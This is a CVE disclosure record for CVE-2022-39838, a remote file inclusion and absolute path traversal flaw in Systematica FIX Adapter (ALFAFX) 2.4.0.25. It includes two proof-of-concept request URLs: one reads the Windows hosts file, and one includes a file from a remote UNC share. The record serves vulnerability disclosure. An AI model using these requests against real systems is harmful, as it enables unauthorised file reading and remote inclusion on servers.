CVE-2022-39838

[Suggested description]

Systematica FIX Adapter (ALFAFX) 2.4.0.25 13/09/2017 allows remote file inclusion via a UNC share pathname, and also allows absolute path traversal to local pathnames.

[Additional Information]

PoC:

http://192.168.88.11:8888/info?page=logfile&file=C:\Windows\System32\drivers\etc\hosts

http://192.168.88.11:8888/info?page=logfile&file=\\192.168.88.100\rfi\test.txt

[Vulnerability Type]

Incorrect Access Control

[Vendor of Product]

Systematica

[Affected Product Code Base]

Systematica FIX Adapter (ALFAFX) - 2.4.0.25 (Build 13/09/2017)

[Attack Type]

Remote